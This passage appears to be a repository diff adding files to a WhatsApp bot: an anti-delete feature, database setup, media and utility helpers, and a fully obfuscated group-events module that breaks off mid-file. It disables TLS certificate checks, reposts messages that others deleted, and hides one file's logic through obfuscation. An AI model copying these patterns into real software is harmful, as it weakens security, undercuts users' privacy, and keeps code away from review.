39 |
+
const AntiDelete = async (conn, updates) => {
|
40 |
+
for (const update of updates) {
|
41 |
+
if (update.update.message === null) {
|
42 |
+
const store = await loadMessage(update.key.id);
|
43 |
+
|
44 |
+
if (store && store.message) {
|
45 |
+
const mek = store.message;
|
46 |
+
const isGroup = isJidGroup(store.jid);
|
47 |
+
const antiDeleteType = isGroup ? 'gc' : 'dm';
|
48 |
+
const antiDeleteStatus = await getAnti(antiDeleteType);
|
49 |
+
if (!antiDeleteStatus) continue;
|
50 |
+
|
51 |
+
const deleteTime = new Date().toLocaleTimeString('en-GB', {
|
52 |
+
hour: '2-digit',
|
53 |
+
minute: '2-digit',
|
54 |
+
second: '2-digit',
|
55 |
+
});
|
56 |
+
|
57 |
+
let deleteInfo, jid;
|
58 |
+
if (isGroup) {
|
59 |
+
const groupMetadata = await conn.groupMetadata(store.jid);
|
60 |
+
const groupName = groupMetadata.subject;
|
61 |
+
const sender = mek.key.participant?.split('@')[0];
|
62 |
+
const deleter = update.key.participant?.split('@')[0];
|
63 |
+
|
64 |
+
deleteInfo = `*⭕sᴏᴍᴇᴏɴᴇ ᴅᴇʟᴇᴛᴇ ᴀ ᴍᴇssᴀɢᴇ!!*\n\n*⏰ᴛɪᴍᴇ:* ${deleteTime}\n*🎡ɢʀᴏᴜᴘ:* ${groupName}\n*🚯͎᪳᪳ᴅᴇʟᴇᴛᴇᴅ ʙʏ:* @${deleter}\n*🙇🏻♂️͎᪳᪳sᴇɴᴅᴇʀ:* @${sender}`;
|
65 |
+
jid = config.ANTI_DEL_PATH === "log" ? conn.user.id : store.jid;
|
66 |
+
} else {
|
67 |
+
const senderNumber = mek.key.remoteJid?.split('@')[0];
|
68 |
+
const deleterNumber = update.key.remoteJid?.split('@')[0];
|
69 |
+
|
70 |
+
|
71 |
+
deleteInfo = `*⭕sᴏᴍᴇᴏɴᴇ ᴅᴇʟᴇᴛᴇ ᴀ ᴍᴇssᴀɢᴇ!!*\n\n*⏰ᴛɪᴍᴇ:* ${deleteTime}\n*🚯͎᪳᪳ᴅᴇʟᴇᴛᴇᴅ ʙʏ:* @${deleterNumber}\n*🙇🏻♂️͎᪳᪳sᴇɴᴅᴇʀ:* @${senderNumber}`;
|
72 |
+
jid = config.ANTI_DEL_PATH === "log" ? conn.user.id : update.key.remoteJid;
|
73 |
+
}
|
74 |
+
|
75 |
+
if (mek.message?.conversation || mek.message?.extendedTextMessage) {
|
76 |
+
await DeletedText(conn, mek, jid, deleteInfo, isGroup, update);
|
77 |
+
} else {
|
78 |
+
await DeletedMedia(conn, mek, jid, deleteInfo);
|
79 |
+
}
|
80 |
+
}
|
81 |
+
}
|
82 |
+
}
|
83 |
+
};
|
84 |
+
|
85 |
+
module.exports = {
|
86 |
+
DeletedText,
|
87 |
+
DeletedMedia,
|
88 |
+
AntiDelete,
|
89 |
+
};
|
lib/database.js
ADDED
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const Sequelize = require('sequelize');
|
2 |
+
|
3 |
+
class DatabaseManager {
|
4 |
+
static instance = null;
|
5 |
+
|
6 |
+
static getInstance() {
|
7 |
+
if (!DatabaseManager.instance) {
|
8 |
+
const DATABASE_URL = process.env.DATABASE_URL || './database.db';
|
9 |
+
|
10 |
+
DatabaseManager.instance =
|
11 |
+
DATABASE_URL === './database.db'
|
12 |
+
? new Sequelize({
|
13 |
+
dialect: 'sqlite',
|
14 |
+
storage: DATABASE_URL,
|
15 |
+
logging: false,
|
16 |
+
})
|
17 |
+
: new Sequelize(DATABASE_URL, {
|
18 |
+
dialect: 'postgres',
|
19 |
+
ssl: true,
|
20 |
+
protocol: 'postgres',
|
21 |
+
dialectOptions: {
|
22 |
+
native: true,
|
23 |
+
ssl: { require: true, rejectUnauthorized: false },
|
24 |
+
},
|
25 |
+
logging: false,
|
26 |
+
});
|
27 |
+
}
|
28 |
+
return DatabaseManager.instance;
|
29 |
+
}
|
30 |
+
}
|
31 |
+
|
32 |
+
const DATABASE = DatabaseManager.getInstance();
|
33 |
+
|
34 |
+
DATABASE.sync()
|
35 |
+
.then(() => {
|
36 |
+
console.log('Database synchronized successfully.');
|
37 |
+
})
|
38 |
+
.catch((error) => {
|
39 |
+
console.error('Error synchronizing the database:', error);
|
40 |
+
});
|
41 |
+
|
42 |
+
module.exports = { DATABASE };
|
43 |
+
|
lib/emix-utils.js
ADDED
@@ -0,0 +1,29 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const axios = require("axios");
|
2 |
+
|
3 |
+
/**
|
4 |
+
* Fetch Emoji Mix image from API.
|
5 |
+
* @param {string} emoji1 - First emoji.
|
6 |
+
* @param {string} emoji2 - Second emoji.
|
7 |
+
* @returns {Promise<string>} - The image URL.
|
8 |
+
*/
|
9 |
+
async function fetchEmix(emoji1, emoji2) {
|
10 |
+
try {
|
11 |
+
if (!emoji1 || !emoji2) {
|
12 |
+
throw new Error("Invalid emoji input. Please provide two emojis.");
|
13 |
+
}
|
14 |
+
|
15 |
+
const apiUrl = `https://levanter.onrender.com/emix?q=${encodeURIComponent(emoji1)},${encodeURIComponent(emoji2)}`;
|
16 |
+
const response = await axios.get(apiUrl);
|
17 |
+
|
18 |
+
if (response.data && response.data.result) {
|
19 |
+
return response.data.result; // Return the image URL
|
20 |
+
} else {
|
21 |
+
throw new Error("No valid image found.");
|
22 |
+
}
|
23 |
+
} catch (error) {
|
24 |
+
console.error("Error fetching emoji mix:", error.message);
|
25 |
+
throw new Error("Failed to fetch emoji mix.");
|
26 |
+
}
|
27 |
+
}
|
28 |
+
|
29 |
+
module.exports = { fetchEmix };
|
lib/fetchGif.js
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const axios = require('axios');
|
2 |
+
const fs = require('fs');
|
3 |
+
const path = require('path');
|
4 |
+
const { tmpdir } = require('os');
|
5 |
+
const Crypto = require('crypto');
|
6 |
+
const ffmpeg = require('fluent-ffmpeg');
|
7 |
+
const ffmpegPath = require('@ffmpeg-installer/ffmpeg').path;
|
8 |
+
|
9 |
+
ffmpeg.setFfmpegPath(ffmpegPath);
|
10 |
+
|
11 |
+
/**
|
12 |
+
* Fetch a GIF from a given API URL.
|
13 |
+
* @param {string} url - The API endpoint to fetch the GIF.
|
14 |
+
* @returns {Promise<Buffer>} - The GIF buffer.
|
15 |
+
*/
|
16 |
+
async function fetchGif(url) {
|
17 |
+
try {
|
18 |
+
const response = await axios.get(url, { responseType: 'arraybuffer' });
|
19 |
+
return response.data;
|
20 |
+
} catch (error) {
|
21 |
+
console.error("❌ Error fetching GIF:", error);
|
22 |
+
throw new Error("Could not fetch GIF.");
|
23 |
+
}
|
24 |
+
}
|
25 |
+
|
26 |
+
/**
|
27 |
+
* Converts a GIF buffer to a video buffer.
|
28 |
+
* @param {Buffer} gifBuffer - The GIF buffer.
|
29 |
+
* @returns {Promise<Buffer>} - The MP4 video buffer.
|
30 |
+
*/
|
31 |
+
async function gifToVideo(gifBuffer) {
|
32 |
+
const filename = Crypto.randomBytes(6).toString('hex');
|
33 |
+
const gifPath = path.join(tmpdir(), `${filename}.gif`);
|
34 |
+
const mp4Path = path.join(tmpdir(), `${filename}.mp4`);
|
35 |
+
|
36 |
+
fs.writeFileSync(gifPath, gifBuffer);
|
37 |
+
|
38 |
+
await new Promise((resolve, reject) => {
|
39 |
+
ffmpeg(gifPath)
|
40 |
+
.outputOptions([
|
41 |
+
"-movflags faststart",
|
42 |
+
"-pix_fmt yuv420p",
|
43 |
+
"-vf scale=trunc(iw/2)*2:trunc(ih/2)*2"
|
44 |
+
])
|
45 |
+
.on("error", (err) => {
|
46 |
+
console.error("❌ ffmpeg conversion error:", err);
|
47 |
+
reject(new Error("Could not process GIF to video."));
|
48 |
+
})
|
49 |
+
.on("end", resolve)
|
50 |
+
.save(mp4Path);
|
51 |
+
});
|
52 |
+
|
53 |
+
const videoBuffer = fs.readFileSync(mp4Path);
|
54 |
+
fs.unlinkSync(gifPath);
|
55 |
+
fs.unlinkSync(mp4Path);
|
56 |
+
|
57 |
+
return videoBuffer;
|
58 |
+
}
|
59 |
+
|
60 |
+
module.exports = { fetchGif, gifToVideo };
|
61 |
+
|
lib/functions.js
ADDED
@@ -0,0 +1,95 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
|
2 |
+
const axios = require('axios')
|
3 |
+
|
4 |
+
const getBuffer = async(url, options) => {
|
5 |
+
try {
|
6 |
+
options ? options : {}
|
7 |
+
var res = await axios({
|
8 |
+
method: 'get',
|
9 |
+
url,
|
10 |
+
headers: {
|
11 |
+
'DNT': 1,
|
12 |
+
'Upgrade-Insecure-Request': 1
|
13 |
+
},
|
14 |
+
...options,
|
15 |
+
responseType: 'arraybuffer'
|
16 |
+
})
|
17 |
+
return res.data
|
18 |
+
} catch (e) {
|
19 |
+
console.log(e)
|
20 |
+
}
|
21 |
+
}
|
22 |
+
|
23 |
+
const getGroupAdmins = (participants) => {
|
24 |
+
var admins = []
|
25 |
+
for (let i of participants) {
|
26 |
+
i.admin !== null ? admins.push(i.id) : ''
|
27 |
+
}
|
28 |
+
return admins
|
29 |
+
}
|
30 |
+
|
31 |
+
const getRandom = (ext) => {
|
32 |
+
return `${Math.floor(Math.random() * 10000)}${ext}`
|
33 |
+
}
|
34 |
+
|
35 |
+
const h2k = (eco) => {
|
36 |
+
var lyrik = ['', 'K', 'M', 'B', 'T', 'P', 'E']
|
37 |
+
var ma = Math.log10(Math.abs(eco)) / 3 | 0
|
38 |
+
if (ma == 0) return eco
|
39 |
+
var ppo = lyrik[ma]
|
40 |
+
var scale = Math.pow(10, ma * 3)
|
41 |
+
var scaled = eco / scale
|
42 |
+
var formatt = scaled.toFixed(1)
|
43 |
+
if (/\.0$/.test(formatt))
|
44 |
+
formatt = formatt.substr(0, formatt.length - 2)
|
45 |
+
return formatt + ppo
|
46 |
+
}
|
47 |
+
|
48 |
+
const isUrl = (url) => {
|
49 |
+
return url.match(
|
50 |
+
new RegExp(
|
51 |
+
/https?:\/\/(www\.)?[-a-zA-Z0-9@:%.+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%+.~#?&/=]*)/,
|
52 |
+
'gi'
|
53 |
+
)
|
54 |
+
)
|
55 |
+
}
|
56 |
+
|
57 |
+
const Json = (string) => {
|
58 |
+
return JSON.stringify(string, null, 2)
|
59 |
+
}
|
60 |
+
|
61 |
+
const runtime = (seconds) => {
|
62 |
+
seconds = Number(seconds)
|
63 |
+
var d = Math.floor(seconds / (3600 * 24))
|
64 |
+
var h = Math.floor(seconds % (3600 * 24) / 3600)
|
65 |
+
var m = Math.floor(seconds % 3600 / 60)
|
66 |
+
var s = Math.floor(seconds % 60)
|
67 |
+
var dDisplay = d > 0 ? d + (d == 1 ? ' day, ' : ' days, ') : ''
|
68 |
+
var hDisplay = h > 0 ? h + (h == 1 ? ' hour, ' : ' hours, ') : ''
|
69 |
+
var mDisplay = m > 0 ? m + (m == 1 ? ' minute, ' : ' minutes, ') : ''
|
70 |
+
var sDisplay = s > 0 ? s + (s == 1 ? ' second' : ' seconds') : ''
|
71 |
+
return dDisplay + hDisplay + mDisplay + sDisplay;
|
72 |
+
}
|
73 |
+
|
74 |
+
const sleep = async(ms) => {
|
75 |
+
return new Promise(resolve => setTimeout(resolve, ms))
|
76 |
+
}
|
77 |
+
|
78 |
+
const fetchJson = async (url, options) => {
|
79 |
+
try {
|
80 |
+
options ? options : {}
|
81 |
+
const res = await axios({
|
82 |
+
method: 'GET',
|
83 |
+
url: url,
|
84 |
+
headers: {
|
85 |
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'
|
86 |
+
},
|
87 |
+
...options
|
88 |
+
})
|
89 |
+
return res.data
|
90 |
+
} catch (err) {
|
91 |
+
return err
|
92 |
+
}
|
93 |
+
}
|
94 |
+
|
95 |
+
module.exports = { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep , fetchJson}
|
lib/functions2.js
ADDED
@@ -0,0 +1,167 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
const fs = require('fs');
|
2 |
+
const axios = require('axios');
|
3 |
+
const path = './config.env';
|
4 |
+
const FormData = require("form-data");
|
5 |
+
|
6 |
+
async function empiretourl(path) {
|
7 |
+
if (!fs.existsSync(path)) {
|
8 |
+
throw new Error(`File not found: ${path}`);
|
9 |
+
}
|
10 |
+
|
11 |
+
const form = new FormData();
|
12 |
+
const fileStream = fs.createReadStream(path);
|
13 |
+
form.append("file", fileStream);
|
14 |
+
const originalFileName = path.split("/").pop();
|
15 |
+
form.append("originalFileName", originalFileName);
|
16 |
+
|
17 |
+
try {
|
18 |
+
const response = await axios.post("https://cdn.empiretech.biz.id/api/upload.php", form, {
|
19 |
+
headers: {
|
20 |
+
...form.getHeaders(),
|
21 |
+
},
|
22 |
+
maxContentLength: Infinity,
|
23 |
+
maxBodyLength: Infinity,
|
24 |
+
});
|
25 |
+
return response.data;
|
26 |
+
} catch (error) {
|
27 |
+
if (error.response) {
|
28 |
+
throw new Error(`API Error: ${error.response.status} - ${JSON.stringify(error.response.data)}`);
|
29 |
+
} else if (error.request) {
|
30 |
+
throw new Error("No response received from the server.");
|
31 |
+
} else {
|
32 |
+
throw new Error(`Request Error: ${error.message}`);
|
33 |
+
}
|
34 |
+
}
|
35 |
+
}
|
36 |
+
|
37 |
+
// Fetch a buffer from a URL
|
38 |
+
const getBuffer = async (url, options) => {
|
39 |
+
try {
|
40 |
+
options = options || {};
|
41 |
+
const res = await axios({
|
42 |
+
method: 'get',
|
43 |
+
url,
|
44 |
+
headers: {
|
45 |
+
'DNT': 1,
|
46 |
+
'Upgrade-Insecure-Request': 1
|
47 |
+
},
|
48 |
+
...options,
|
49 |
+
responseType: 'arraybuffer'
|
50 |
+
});
|
51 |
+
return res.data;
|
52 |
+
} catch (e) {
|
53 |
+
console.error(e);
|
54 |
+
return null;
|
55 |
+
}
|
56 |
+
};
|
57 |
+
|
58 |
+
// Get admin participants from a group
|
59 |
+
const getGroupAdmins = (participants) => {
|
60 |
+
const admins = [];
|
61 |
+
for (let participant of participants) {
|
62 |
+
if (participant.admin !== null) admins.push(participant.id);
|
63 |
+
}
|
64 |
+
return admins;
|
65 |
+
};
|
66 |
+
|
67 |
+
// Generate a random string with an extension
|
68 |
+
const getRandom = (ext) => {
|
69 |
+
return `${Math.floor(Math.random() * 10000)}${ext}`;
|
70 |
+
};
|
71 |
+
|
72 |
+
// Format large numbers with suffixes (e.g., K, M, B)
|
73 |
+
const h2k = (eco) => {
|
74 |
+
const lyrik = ['', 'K', 'M', 'B', 'T', 'P', 'E'];
|
75 |
+
const ma = Math.floor(Math.log10(Math.abs(eco)) / 3);
|
76 |
+
if (ma === 0) return eco.toString();
|
77 |
+
const scale = Math.pow(10, ma * 3);
|
78 |
+
const scaled = eco / scale;
|
79 |
+
const formatted = scaled.toFixed(1).replace(/\.0$/, '');
|
80 |
+
return formatted + lyrik[ma];
|
81 |
+
};
|
82 |
+
|
83 |
+
// Check if a string is a URL
|
84 |
+
const isUrl = (url) => {
|
85 |
+
return url.match(
|
86 |
+
/https?:\/\/(www\.)?[-a-zA-Z0-9@:%.+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%+.~#?&/=]*)/
|
87 |
+
);
|
88 |
+
};
|
89 |
+
|
90 |
+
// Convert a JavaScript object or array to a JSON string
|
91 |
+
const Json = (string) => {
|
92 |
+
return JSON.stringify(string, null, 2);
|
93 |
+
};
|
94 |
+
|
95 |
+
// Function to calculate and format uptime
|
96 |
+
const runtime = (seconds) => {
|
97 |
+
seconds = Math.floor(seconds);
|
98 |
+
const d = Math.floor(seconds / (24 * 60 * 60));
|
99 |
+
seconds %= 24 * 60 * 60;
|
100 |
+
const h = Math.floor(seconds / (60 * 60));
|
101 |
+
seconds %= 60 * 60;
|
102 |
+
const m = Math.floor(seconds / 60);
|
103 |
+
const s = Math.floor(seconds % 60);
|
104 |
+
|
105 |
+
if (d > 0) return `${d}d ${h}h ${m}m ${s}s`;
|
106 |
+
if (h > 0) return `${h}h ${m}m ${s}s`;
|
107 |
+
if (m > 0) return `${m}m ${s}s`;
|
108 |
+
return `${s}s`;
|
109 |
+
};
|
110 |
+
// Delay execution for a specified time
|
111 |
+
const sleep = async (ms) => {
|
112 |
+
return new Promise((resolve) => setTimeout(resolve, ms));
|
113 |
+
};
|
114 |
+
|
115 |
+
// Fetch JSON from a URL
|
116 |
+
const fetchJson = async (url, options) => {
|
117 |
+
try {
|
118 |
+
options = options || {};
|
119 |
+
const res = await axios({
|
120 |
+
method: 'GET',
|
121 |
+
url: url,
|
122 |
+
headers: {
|
123 |
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'
|
124 |
+
},
|
125 |
+
...options
|
126 |
+
});
|
127 |
+
return res.data;
|
128 |
+
} catch (err) {
|
129 |
+
console.error(err);
|
130 |
+
return null;
|
131 |
+
}
|
132 |
+
};
|
133 |
+
// Save config settings
|
134 |
+
const saveConfig = (key, value) => {
|
135 |
+
let configData = fs.existsSync(path) ? fs.readFileSync(path, 'utf8').split('\n') : [];
|
136 |
+
let found = false;
|
137 |
+
|
138 |
+
configData = configData.map(line => {
|
139 |
+
if (line.startsWith(`${key}=`)) {
|
140 |
+
found = true;
|
141 |
+
return `${key}=${value}`;
|
142 |
+
}
|
143 |
+
return line;
|
144 |
+
});
|
145 |
+
|
146 |
+
if (!found) configData.push(`${key}=${value}`);
|
147 |
+
|
148 |
+
fs.writeFileSync(path, configData.join('\n'), 'utf8');
|
149 |
+
|
150 |
+
// Reload updated environment variables
|
151 |
+
require('dotenv').config({ path });
|
152 |
+
};
|
153 |
+
|
154 |
+
module.exports = {
|
155 |
+
getBuffer,
|
156 |
+
getGroupAdmins,
|
157 |
+
getRandom,
|
158 |
+
h2k,
|
159 |
+
isUrl,
|
160 |
+
Json,
|
161 |
+
runtime,
|
162 |
+
sleep,
|
163 |
+
fetchJson,
|
164 |
+
saveConfig,
|
165 |
+
empiretourl
|
166 |
+
};
|
167 |
+
|
lib/groupevents.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
const _0x535b90=_0x1a9f;function _0x1a9f(_0x640e89,_0x30e064){const _0x11534c=_0x59c5();return _0x1a9f=function(_0x2a5361,_0x39b6c1){_0x2a5361=_0x2a5361-0x67;let _0x48fe45=_0x11534c[_0x2a5361];return _0x48fe45;},_0x1a9f(_0x640e89,_0x30e064);}(function(_0x3a860c,_0x3067ca){const _0x221d38=_0x1a9f,_0x381cf1=_0x3a860c();while(!![]){try{const _0x21dde7=-parseInt(_0x221d38(0xac))/0x1*(parseInt(_0x221d38(0x7f))/0x2)+parseInt(_0x221d38(0x90))/0x3+-parseInt(_0x221d38(0x99))/0x4*(parseInt(_0x221d38(0x72))/0x5)+-parseInt(_0x221d38(0x71))/0x6+parseInt(_0x221d38(0xa4))/0x7*(-parseInt(_0x221d38(0x78))/0x8)+parseInt(_0x221d38(0xab))/0x9*(-parseInt(_0x221d38(0x8b))/0xa)+parseInt(_0x221d38(0xad))/0xb*(parseInt(_0x221d38(0x93))/0xc);if(_0x21dde7===_0x3067ca)break;else _0x381cf1['push'](_0x381cf1['shift']());}catch(_0x235603){_0x381cf1['push'](_0x381cf1['shift']());}}}(_0x59c5,0x92f40));const _0x29bc6c=(function(){let _0x3c2edd=!![];return function(_0x315b9b,_0x62a890){const _0x229eb5=_0x3c2edd?function(){if(_0x62a890){const _0x5c0398=_0x62a890['apply'](_0x315b9b,arguments);return _0x62a890=null,_0x5c0398;}}:function(){};return _0x3c2edd=![],_0x229eb5;};}()),_0x31af1f=_0x29bc6c(this,function(){const _0x2f61a8=_0x1a9f;return _0x31af1f['toString']()[_0x2f61a8(0xa9)](_0x2f61a8(0x86))[_0x2f61a8(0x8e)]()[_0x2f61a8(0xa5)](_0x31af1f)[_0x2f61a8(0xa9)](_0x2f61a8(0x86));});_0x31af1f();function _0x59c5(){const _0x36bd7e=['*│●\x20мємвєʀѕ\x20ιѕ\x20ℓєfт\x20тнє\x20gʀσᴜᴘ*\x0a','groupMetadata','(((.+)+)+)+$','add','*├▢\x20@','@whiskeysockets/baileys','profilePictureUrl','290cTsGOq','*╰────────────────────*','toLocaleString','toString','*│\x20\x20̇─̣─̇─̣〘\x20gσσ∂вує\x20〙̣─̇─̣─̇*\x0a','3140436uyDdbx','*│\x20\x20̇─̣─̇─̣〘\x20ωєℓ¢σмє\x20〙̣─̇─̣─̇*\x0a','error','48LhgDcu','floor','*├▢\x20тιмє\x20:\x20','*│●\x20тнє\x20gʀσυᴘѕ\x20ʀᴜℓєѕ!*\x0a','\x20fʀσм\x20α∂мιɴ*\x0a','ADMIN_STATUS','3308184POPrKL','log','*├▢\x20gʀσᴜᴘ\x20:*\x20','promote','*│●\x20мємвєʀs\x20','*│●\x20©ᴘσωєʀє∂\x20ву\x20αℓι\x20м∂⎯꯭̽👑*\x0a','action','demote','120363354023106228@newsletter','../config','trace','9618WtyvGT','constructor','console','*│❀\x20gʀσᴜᴘ*\x20','prototype','search','https://i.ibb.co/KhYC4FY/1221bc0bdd2354b42b293317ff2adbcf-icon.png','846qpJWfm','1134143aveusw','7174387aaLnaQ','*│●\x20ᴊσιɴє∂\x20','\x20нαѕ\x20∂ємσтє∂*\x0a','subject','participants','bind','return\x20(function()\x20','sender','*│❀\x20нєу*\x20@','apply','*├┅┅┅┅┈┈┈┈┈┈┈┈┈┅┅┅◆*\x0a','author','info','remove','*├▢\x20gʀσᴜᴘ\x20:\x20','1361838cJkQtw','5jQjVoc','*╰┉┉┉┉┈┈┈┈┈┈┈┈┉┉┉᛫᛭*\x0a','*│●\x20ѕтαу\x20ѕαfє\x20αɴ∂\x20fσℓℓσω*\x0a','image','table','length','5024rhNfvi','sendMessage','{}.constructor(\x22return\x20this\x22)(\x20)','Group\x20event\x20error:','*│●\x20©ᴘσωєʀє∂\x20ву\x20αℓι-м∂⎯꯭̽👑*\x0a','*╭ׂ┄─ׅ─ׂ┄─ׂ┄─ׅ─ׂ┄─ׂ┄─ׅ─ׂ┄──*\x0a','𝐀ɭīī\x20𝐌Ɗ\x20𝐒ʊ̊𝐏𝐏๏፝֟ɼʈꜜ-🌸💍🖇️','2iyPrad','split','true','*╭────⬡\x20αᴄтισɴ-ѕтαтᴜs\x20⬡────*\x20\x0a','warn'];_0x59c5=function(){return _0x36bd7e;};return _0x59c5();}const _0x39b6c1=(function(){let _0x57d834=!![];return function(_0x4968a3,_0x481567){const _0x4ecc3c=_0x57d834?function(){const _0x3b0417=_0x1a9f;if(_0x481567){const _0x37d121=_0x481567[_0x3b0417(0x6b)](_0x4968a3,arguments);return _0x481567=null,_0x37d121;}}:function(){};return _0x57d834=![],_0x4ecc3c;};}()),_0x2a5361=_0x39b6c1(this,function(){const _0x2572b5=_0x1a9f,_0x1fcd8d=function(){const _0x57dae9=_0x1a9f;let _0x293213;try{_0x293213=Function(_0x57dae9(0x68)+_0x57dae9(0x7a)+');')();}catch(_0x380b52){_0x293213=window;}return _0x293213;},_0x447909=_0x1fcd8d(),_0x4d8c0e=_0x447909[_0x2572b5(0xa6)]=_0x447909[_0x2572b5(0xa6)]||{},_0x519e61=[_0x2572b5(0x9a),_0x2572b5(0x83),_0x2572b5(0x6e),'error','exception',_0x2572b5(0x76),_0x2572b5(0xa3)];for(let _0x56908a=0x0;_0x56908a<_0x519e61[_0x2572b5(0x77)];_0x56908a++){const _0x47e28a=_0x39b6c1[_0x2572b5(0xa5)][_0x2572b5(0xa8)][_0x2572b5(0x67)](_0x39b6c1),_0x146a36=_0x519e61[_0x56908a],_0xc36d99=_0x4d8c0e[_0x146a36]||_0x47e28a;_0x47e28a['__proto__']=_0x39b6c1[_0x2572b5(0x67)](_0x39b6c1),_0x47e28a['toString']=_0xc36d99[_0x2572b5(0x8e)][_0x2572b5(0x67)](_0xc36d99),_0x4d8c0e[_0x146a36]=_0x47e28a;}});_0x2a5361();const {isJidGroup}=require(_0x535b90(0x89)),config=require(_0x535b90(0xa2)),getContextInfo=_0x5e60f6=>{const _0x4ea278=_0x535b90;return{'mentionedJid':[_0x5e60f6[_0x4ea278(0x69)]],'forwardingScore':0x3e7,'isForwarded':!![],'forwardedNewsletterMessageInfo':{'newsletterJid':_0x4ea278(0xa1),'newsletterName':_0x4ea278(0x7e),'serverMessageId':0x8f}};},ppUrls=[_0x535b90(0xaa),_0x535b90(0xaa),_0x535b90(0xaa)],GroupEvents=async(_0x32cbbb,_0x2fc374)=>{const _0x297df3=_0x535b90;try{const _0x40cdbd=isJidGroup(_0x2fc374['id']);if(!_0x40cdbd)return;const _0x4e46f8=await _0x32cbbb[_0x297df3(0x85)](_0x2fc374['id']),_0x3d4c22=_0x2fc374['participants'],_0x2d13fb=_0x4e46f8['desc'],_0x54a6b4=_0x4e46f8[_0x297df3(0xb1)]['length'];let _0x92baa7;try{_0x92baa7=await _0x32cbbb[_0x297df3(0x8a)](_0x2fc374['id'],_0x297df3(0x75));}catch{_0x92baa7=ppUrls[Math[_0x297df3(0x94)](Math['random']()*ppUrls[_0x297df3(0x77)])];}for(const _0x180f70 of _0x3d4c22){const _0x22a1e8=_0x180f70[_0x297df3(0x80)]('@')[0x0],_0x7362f3=new Date()[_0x297df3(0x8d)]();if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x87)&&config['WELCOME']===_0x297df3(0x81)){const _0x5cbe09=_0x297df3(0x7d)+_0x297df3(0x91)+_0x297df3(0x6c)+(_0x297df3(0x6a)+_0x22a1e8+'\x0a')+(_0x297df3(0xa7)+_0x4e46f8[_0x297df3(0xb0)]+'\x0a')+_0x297df3(0x6c)+_0x297df3(0x74)+_0x297df3(0x96)+(_0x297df3(0xae)+_0x54a6b4+'*\x0a')+_0x297df3(0x7c)+_0x297df3(0x73)+(''+_0x2d13fb);await _0x32cbbb[_0x297df3(0x79)](_0x2fc374['id'],{'image':{'url':_0x92baa7},'caption':_0x5cbe09,'mentions':[_0x180f70],'contextInfo':getContextInfo({'sender':_0x180f70})});}else{if(_0x2fc374[_0x297df3(0x9f)]===_0x297df3(0x6f)&&config['GOODBYE']===_0x297df3(0x81)){const 